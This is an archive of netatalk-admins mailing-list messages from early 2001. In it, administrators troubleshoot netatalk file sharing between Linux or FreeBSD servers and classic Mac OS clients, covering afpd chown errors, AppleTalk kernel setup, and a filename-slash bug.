> > > >user bringi by (uid=0)
> > > >Feb 28 17:27:33 gromit afpd[18327]: login bringi (uid 500, gid 500)
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > > >.AppleDouble/.Parent: Invalid argument
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > > >.AppleDouble: Invalid argument
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> > > >Invalid argument
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> > > >.AppleDouble/.Parent: Operation not permitted
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > > >.AppleDouble/.Parent: Invalid argument
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1
> > > >.AppleDouble: Invalid argument
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown 16777216/-1 .:
> > > >Invalid argument
> > > >Feb 28 17:27:36 gromit afpd[18327]: setdirowner: chown -1/0
> > > >.AppleDouble/.Parent: Operation not permitted
> > > >Feb 28 17:28:01 gromit afpd[18327]: setdirowner: chown -1/0
> > > >.AppleDouble/.Parent: Operation not permitted
> > > >Feb 28 17:28:27 gromit afpd[18327]: logout bringi
> > > >------------<snip>-----------------------------------
> > > >
> > > >This happens everytime while moving, copying or creating files -
> > > >directories are doing fine. Is it possible that some pieces of the new
> > > >(and broken) FORCE_UIDGID code is still active? Or is it maybee a
> > > >Redhat-only problem?
> > > >
> > > >I've looked arround and found some similar messages in this list, all
> > > >reporting problems with
> > > >    setdirowner: chown -1/0 .: Operation not permitted
> > > >or setdirowner: chown -1/0 .AppleDouble/.Parent: Operation not permitted
> > > >or setdirowner: chown 16777216/-1 .: Invalid argument
> > > >or setdirowner: chown 16777216/-1 .AppleDouble/.Parent: Invalid argument
> > > >
> > > >Most of them using rh7.0 (or mdk) and netatalk since 1.5pre3.
> > > >
> > > >In my case I've ...
> > > >- build a freshly RH7.0 box with all possible updates (incl.
> > > >kernel-2.2.17-14)
> > > >- build netatalk-1.5pre4 from source w/o ADMIN_GRP, DROPKLUDGE and
> > > >FORCE_UIDGID
> > > >- I'm the first and only additional user (uid 500/gid 500)
> > > >- the volume is totaly owned by me (maximum chowned and chmoded :-)
> > > >- tested with MacOS 7.5, 8.6 and 9.0
> > > >
> > > >Axel.
> >
> > --
> > Satz-Rechen-Zentrum Berlin - Systemgruppe
> 
> --
> Satz-Rechen-Zentrum Berlin - Systemgruppe

-- 
Satz-Rechen-Zentrum Berlin - Systemgruppe

From netatalk.administrators-errors@umich.edu  Mon Mar  5 16:15:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA16338
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Mar 2001 16:15:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA22511
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Mar 2001 16:14:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA22499
	for netatalk.administrators-members@umich.edu; Mon, 5 Mar 2001 16:14:57 -0500 (EST)
Received: from VL-MS-MR001.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA22457
	for <netatalk-admins@umich.edu>; Mon, 5 Mar 2001 16:14:56 -0500 (EST)
Received: from fnac.net ([24.201.28.100]) by
          VL-MS-MR001.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G9QTO904.6CE for <netatalk-admins@umich.edu>; Mon,
          5 Mar 2001 16:14:33 -0500 
Sender: marco@fnac.net
Message-ID: <3AA40083.E5EA3AD7@fnac.net>
Date: Mon, 05 Mar 2001 16:09:24 -0500
From: marco a <marc.angles1@fnac.net>
X-Mailer: Mozilla 4.75 [fr] (X11; U; Linux 2.2.17-14 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: very [newbie]
Content-Type: multipart/mixed;
 boundary="------------3729DE85E50118BA1FDCA8D5"

Il s'agit d'un message multivolet au format MIME.
--------------3729DE85E50118BA1FDCA8D5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

what is the difference between atalkd and afpd

i have problems to register my servers,
here is my network

could you point me ?
how to proceed ?

--------------3729DE85E50118BA1FDCA8D5
Content-Type: text/plain; charset=us-ascii;
 name="myNetwork"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="myNetwork"

-------------                          ------------
            |        eth0  (dhcp)     |            |
 internet   |-------------------------|  linuxbox  |
            |                         |    RH70    |
------------                           ------------
                                            | eth1 192.168.0.1
                                            |      255.255.255.0
                                            |
                                          -----
                  mac1 ------------------| HUB |
               192.168.0.5                -----
               255.255.255.0                |
       routeur 192.168.0.1                  |
                  mac2 ----------------------
               192.168.0.10
               255.255.255.0
       routeur 192.168.0.1

--------------3729DE85E50118BA1FDCA8D5--


From netatalk.administrators-errors@umich.edu  Mon Mar  5 19:02:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21912
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Mar 2001 19:02:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00054
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Mar 2001 19:02:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00030
	for netatalk.administrators-members@umich.edu; Mon, 5 Mar 2001 19:02:35 -0500 (EST)
Received: from VL-MS-MR001.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA29974
	for <netatalk-admins@umich.edu>; Mon, 5 Mar 2001 19:02:33 -0500 (EST)
Received: from fnac.net ([24.201.28.100]) by
          VL-MS-MR001.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G9R1G203.NQP for <netatalk-admins@umich.edu>; Mon,
          5 Mar 2001 19:02:26 -0500 
Sender: marco@fnac.net
Message-ID: <3AA427DC.CAF6D805@fnac.net>
Date: Mon, 05 Mar 2001 18:57:16 -0500
From: marco a <marc.angles1@fnac.net>
X-Mailer: Mozilla 4.75 [fr] (X11; U; Linux 2.2.17-14 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: question
Content-Type: multipart/mixed;
 boundary="------------16EB1C4DD37E2E5F10FBE75C"

Il s'agit d'un message multivolet au format MIME.
--------------16EB1C4DD37E2E5F10FBE75C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

should netatalk conflict with internet traffic ?


--------------16EB1C4DD37E2E5F10FBE75C
Content-Type: text/plain; charset=us-ascii;
 name="myNetwork"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="myNetwork"

-------------                          ------------
            |        eth0  (dhcp)     |            |
 internet   |-------------------------|  linuxbox  |
            |                         |    RH70    |
------------                           ------------
                                            | eth1 192.168.0.1
                                            |      255.255.255.0
                                            |
                                          -----
                  mac1 ------------------| HUB |
               192.168.0.5                -----
               255.255.255.0                |
       routeur 192.168.0.1                  |
                  mac2 ----------------------
               192.168.0.10
               255.255.255.0
       routeur 192.168.0.1

--------------16EB1C4DD37E2E5F10FBE75C--


From netatalk.administrators-errors@umich.edu  Tue Mar  6 02:02:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA00430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 02:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA29734
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 02:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA29715
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 02:02:42 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h021.c017.sfo.cp.net [209.228.12.235])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id CAA29675
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 02:02:41 -0500 (EST)
Received: (cpmta 15555 invoked from network); 5 Mar 2001 23:02:39 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.235) with SMTP; 5 Mar 2001 23:02:39 -0800
X-Sent: 6 Mar 2001 07:02:39 GMT
Mime-Version: 1.0
Message-Id: <p04320401b6ca386ce350@[192.168.0.50]>
In-Reply-To: <3AA4730A.4D987323@mac.com>
References: <3AA1D02E.C653D0E0@mac.com>
 <p04320401b6c85dc53337@[192.168.0.52]> <3AA4730A.4D987323@mac.com>
Date: Mon, 5 Mar 2001 23:05:10 -0800
To: brian lynch <bruiser216@mac.com>
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: with red hat 7
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

yes, you do need to compile appletalk into your kernel.  if you need 
help on that, check here:

http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html

i've also been able to add an insmod line to my startup scripts & 
load appletalk on the fly, it works pretty well.  you'll find 
appletalk.o somewhere on a redhat default install.

but what i mean by config's, is to go into the /etc/atalk directory. 
you'll see several files that are used to configure netatalk.  you 
want to read them (and the manual:

http://www.anders.com/projects/netatalk/ ;-)

what do you have AppleVolumes.default set too?  how about afpd.conf, 
atalk.conf, etc.  if you didn't configure the program, you should 
read these & figure out what you want it to do.  don't be alarmed if 
there are extra config's or slightly different one's than you read 
about, just open them up and read, they do a pretty good job of 
explaining what's needed.  if you find something you don't 
understand, search the archive of this newsgroup, and post if you 
have to.  i think you'll find most problems covered many times.

good luck,
w


>Walt Reed wrote:
>
>>  what did you say your config's look like again?
>>
>>  >i am trying to get netatalk to work on my system rh 7. i was unable to
>>  >compile the .tar.gz packages so i dled the precompiled versions. this
>>  >installed but i cannot get my mac to recognize the red hat box. when i
>>  >boot the atalk message ok's so it should be running. what might be
>>  >wrong?
>
>i tried the precompiled version and it installed fine with no errors. i
>started the server and it seemed to start ok. i had to restart my system
>for some reason and in the boot messages the atalk services start and i
>can see that afpd loaded but when i try to get to the linux box from the
>mac i cannot. it does not show up in the server and when i point the
>chooser to the linux ip it will not reply.
>
>
>btw... is appletalk in the kernal that red hat disributes? and did you
>have to do anything special to your system besides compiling and
>installing?


From netatalk.administrators-errors@umich.edu  Tue Mar  6 06:27:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA04457
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 06:27:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA09098
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 06:27:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA09081
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 06:27:51 -0500 (EST)
Received: from heretic.mabaleb.org (heretic.mabaleb.org [63.225.255.133])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA08911
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 06:27:45 -0500 (EST)
From: mbartosh@heretic.mabaleb.org
Received: from localhost (mbartosh@localhost)
	by heretic.mabaleb.org (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id CAA06586;
	Mon, 5 Mar 2001 02:30:48 -0600
Date: Mon, 5 Mar 2001 02:30:48 -0600 (CST)
To: Niall O Broin <niall@magicgoeshere.com>
cc: netatalk-admins@umich.edu
Subject: Re: netatalk compatible utilities
In-Reply-To: <20010303090650.B738@bagend.local>
Message-ID: <Pine.LNX.4.21.0103050229030.6546-100000@heretic.mabaleb.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


You are confusing Mac OS X, Mac OS X Server (based on Mach 2.5) and Mac OS
X Server 2.0.

Mac OS X and Mac OS X Server 2.0 boot and root from either UFS or HFS+.

Most of its behaviors are quite standard.

-mab



On Sat, 3 Mar 2001, Niall O Broin wrote:

>On Sat, Mar 03, 2001 at 12:49:32AM -0500, Rob Lineweaver wrote:
>
>> > A thought has just occured to me - how has Apple handled this with MacOS
>> > X ? I presume they've built a filesystem with integrated metadata.
>> 
>> That's exactly what they did, it's just that Apple built that
>> filesystem long ago:  regular old HFS+ is what OS X uses for files that
>> need the resource forks.  At least this is how I understand it on the
>> couple of OS X servers I've looked at.  OS X itself goes on a UFS
>> partition but the AFS serves files off of HFS+.
>
>This is bizarre. It seems that OS X is like two operating systems running as
>multi-tasking processes on the same machine. What would you do if you wanted
>to use command line utilities to manipulate files on HFS+ partitions ? OS X
>beta testers - what does the cp command do if you cp a file on a HFS+
>partition a) to a HFS+ partition b) to a UFS partition ?
>
>> You can even rebuild the desktop database of the HFS+ partition(s) on an
>> OS X server by booting the box off a Mac OS 8.x or 9.x CD and holding
>> down Apple-Option...
>> (http://til.info.apple.com/techinfo.nsf/artnum/n60401)
>
>Jeez - that's bizarre - regular maintenance of an OS X server so requires
>rebooting the machine - welcome to Windows NT :-)
>
>
>
>Regards,
>
>
>
>Niall  O Broin
>


From netatalk.administrators-errors@umich.edu  Tue Mar  6 13:29:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA15350
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 13:29:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08787
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 13:29:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08768
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 13:29:34 -0500 (EST)
Received: from dome.numbersixnetworks.com (cr853601-a.bloor1.on.wave.home.com [24.43.35.129])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA08723
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 13:29:33 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
  (uid 500)
  by dome.numbersixnetworks.com with local; Tue, 06 Mar 2001 13:29:05 -0500
Date: Tue, 6 Mar 2001 13:29:05 -0500
From: Richard Michael <rmichael@numbersixnetworks.com>
To: netatalk-admins@umich.edu
Subject: Bug? (not x-posted to devel): "/" in filename = "Type -50" error
Message-ID: <20010306132905.E11134@guardian.numbersixnetworks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
User-Agent: Mutt/1.2.5i

Hello,

I've been using Netatalk and CAP for a few years, and have come across
this a few times.  I think most of my users have seen it before, but
probably work around it without telling me.

I'd consider this a bug; unless it's been well documented and I haven't
noticed.  I've checked the docs section of sourceforge, the Linux
Netatalk HOWTO, and the Netatalk FAQ from 1.4b2.

That said, I'm sure admins have been experiencing this problem, and I've
seen it discussed on netatalk-admins before.

The problem is that when a file on a Mac contains the "/" character, a
"Type -50" will be returned from the server.

I've found this as recently as MacOS 9.0.1 w/ AppleShare 3.8.5.

Philosophically, I think it's a server side problem, since "/" is a
valid Mac filename character and, accordingly, an Apple AppleShare
server wouldn't expect it to be escaped or protected.

I'm speculating that the -50 (see below) is returned because the
"subdirectories" resulting from the name confusion don't exist (implying
no permission to write/read/stat).  For example (a common user naming
scheme): "My File - Changed 01/03/06"; where "My File - Changed 01" and
"03" become "directories" to afpd.

I know this is usually explained as a .AppleDouble (or .finderinfo)
perms problem, but in my most recent experience the user was able to
copy another file (to the same dir, etc. etc.) without a problem.  There
were no "/" characters in the second test file and when the "/"
characters were removed from the name, the copy succeeded.

I've been cautioning my users against "exotic" naming characters for
years, to work around PC->Mac translations; stick to a-Z,-,_," "
(avoiding " " when possible).

For reference,

At TIL: 
        "-50 paramErr Error in user parameter list"
At http://www.muc.edu/CIS/HelpDesk/faqs/MacErrorCodes.html:
        "-50 Error  getting file position"

Comments?  Does everyone know about this and I've just explicated the
obvious?  Shouldn't Netatalk's afpd map the "/" character, as CAP and
Netatalk do with the Icon: hex names?

Regards,
Richard


From netatalk.administrators-errors@umich.edu  Tue Mar  6 14:02:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16255
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 14:02:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04595
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 14:02:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04587
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 14:02:10 -0500 (EST)
Received: from tsmtp2.mail.isp ([195.235.113.141])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04569
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 14:02:08 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp2.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9SI3702.HFS;
          Tue, 6 Mar 2001 19:59:31 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 06 Mar 2001 20:02:05 +0100
Subject: Re: Bug? (not x-posted to devel): "/" in filename = "Type -50"
	error
From: Jason Quigley <jasonq@mac.com>
To: Richard Michael <rmichael@numbersixnetworks.com>,
        <netatalk-admins@umich.edu>
Message-ID: <B6CAF2BD.42F6%jasonq@mac.com>
In-Reply-To: <20010306132905.E11134@guardian.numbersixnetworks.com>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Richard!

When was the last time you upgraded the server? What version are you
running?

I don't have this problem saving from within apps or copying via the finder.
I don't get this with folders either.

My version is: netatalk-1.4.99-0.20001108

Cheers,
Jason.

On 6/3/01 19:29, "Richard Michael" wrote:

> Hello,
> 
<snip> 
> I'd consider this a bug; unless it's been well documented and I haven't
> noticed.  I've checked the docs section of sourceforge, the Linux
> Netatalk HOWTO, and the Netatalk FAQ from 1.4b2.
<snip> 
> The problem is that when a file on a Mac contains the "/" character, a
> "Type -50" will be returned from the server.


From netatalk.administrators-errors@umich.edu  Tue Mar  6 14:47:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17525
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 14:47:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28425
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 14:46:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13173
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 14:11:21 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA13144
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 14:11:20 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f26JBNV01464;
	Tue, 6 Mar 2001 11:11:23 -0800 (PST)
Date: Tue, 6 Mar 2001 11:11:22 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: Richard Michael <rmichael@numbersixnetworks.com>
cc: netatalk-admins@umich.edu
Subject: Re: Bug? (not x-posted to devel): "/" in filename = "Type -50" error
In-Reply-To: <20010306132905.E11134@guardian.numbersixnetworks.com>
Message-ID: <Pine.GSO.4.21.0103061108460.372-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Well, yeah!  I even made sure that worked in my dropkludge patch to
1.5.  What version are you using?  If you're using pre4 or newer, maybe
one of the recent contributions broke it & we need to go through and find
it.

On Tue, 6 Mar 2001, Richard Michael wrote:

> obvious?  Shouldn't Netatalk's afpd map the "/" character, as CAP and
> Netatalk do with the Icon: hex names?

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Tue Mar  6 14:48:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17625
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 14:48:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22102
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 14:48:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22076
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 14:48:29 -0500 (EST)
Received: from c017.sfo.cp.net (c017-h015.c017.sfo.cp.net [209.228.12.229])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA22017
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 14:48:26 -0500 (EST)
Received: (cpmta 23779 invoked from network); 6 Mar 2001 11:48:24 -0800
Received: from www.waaaow.com (HELO ?192.168.0.50?) (207.171.221.217)
  by smtp.terrascope.com (209.228.12.229) with SMTP; 6 Mar 2001 11:48:24 -0800
X-Sent: 6 Mar 2001 19:48:24 GMT
Mime-Version: 1.0
Message-Id: <p04320400b6caef46a9f9@[192.168.0.50]>
In-Reply-To: <B6CAF2BD.42F6%jasonq@mac.com>
References: <B6CAF2BD.42F6%jasonq@mac.com>
Date: Tue, 6 Mar 2001 11:50:55 -0800
To: rmichael@numbersixnetworks.com
From: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Subject: Re: Bug? (not x-posted to devel): "/" in filename = "Type -50" 
 error
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

yes, i just tested this out on my redhat 7.0 box running 1.5pre3.  i 
made a folder called one/two and a simpletext doc called 1/2.  both 
copied to the share and had no errors, & did not create directories. 
i was able to copy both back to the mac, no problems.  only tested 
from the finder though...

w

>Hi Richard!
>
>When was the last time you upgraded the server? What version are you
>running?
>
>I don't have this problem saving from within apps or copying via the finder.
>I don't get this with folders either.
>
>My version is: netatalk-1.4.99-0.20001108
>
>Cheers,
>Jason.
>
>On 6/3/01 19:29, "Richard Michael" wrote:
>
>>  Hello,
>>
><snip>
>>  I'd consider this a bug; unless it's been well documented and I haven't
>>  noticed.  I've checked the docs section of sourceforge, the Linux
>>  Netatalk HOWTO, and the Netatalk FAQ from 1.4b2.
><snip>
>>  The problem is that when a file on a Mac contains the "/" character, a
>>  "Type -50" will be returned from the server.


From netatalk.administrators-errors@umich.edu  Tue Mar  6 16:57:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA23219
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 16:57:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15655
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 16:57:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15642
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 16:57:09 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA15638
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 16:57:08 -0500 (EST)
Received: (qmail 13109 invoked by uid 500); 6 Mar 2001 21:57:00 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 6 Mar 2001 21:57:00 -0000
Date: Tue, 6 Mar 2001 15:57:00 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Samba and Netatalk
Message-ID: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Would anyone care to comment on experiences they've had sharing data out
on a volume that was accessed by Netatalk and Samba? Any glitches? No
problem, go ahead and do it, your nuts, dude..., etc...

Thanks. I have a dream that I can take one of our NT file servers and
replace it with a Linux/Samba/Netatalk box. What a fine realization that
would be...

Thanks.
-Dan


From netatalk.administrators-errors@umich.edu  Tue Mar  6 16:58:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA23259
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 16:58:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17716
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 16:58:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA17693
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 16:58:52 -0500 (EST)
Received: from spitfire.shacknet.nu (adsl-63-192-100-175.dsl.chic01.pacbell.net [63.192.100.175])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA17676
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 16:58:50 -0500 (EST)
Received: from [192.168.100.2] (digime [192.168.100.2])
	by spitfire.shacknet.nu (8.11.1/8.11.1) with ESMTP id f26Lwi901342
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 13:58:48 -0800 (PST)
	(envelope-from sesser@mac.com)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 06 Mar 2001 13:59:24 -0800
Subject: No server in chooser...newbie
From: r a n d y // <sesser@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6CA9DBC.B3D%sesser@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I know this has probably been addressed about a million times. I just
subscribed to the list and have been looking through the archive but still
can't find a definitive solution to my problem. I can connect to my server
using the IP but nothing shows up in chooser when I select AppleShare.

Here's what I'm working with:
FreeBSD 4.2-STABLE i386
2 10/100BT NIC (Kingston) dc0 & dc1
dc0 is connected to the net via PPPoE
dc1 is connected to the MAC

#> ifconfig -u
dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet6 fe80::2c0:f0ff:fe5a:919a%dc0 prefixlen 64 scopeid 0x1
        atalk 65280.223 range 65280-65534 phase 2 broadcast 0.255
        ether 00:c0:f0:5a:91:9a
        media: autoselect (10baseT/UTP) status: active
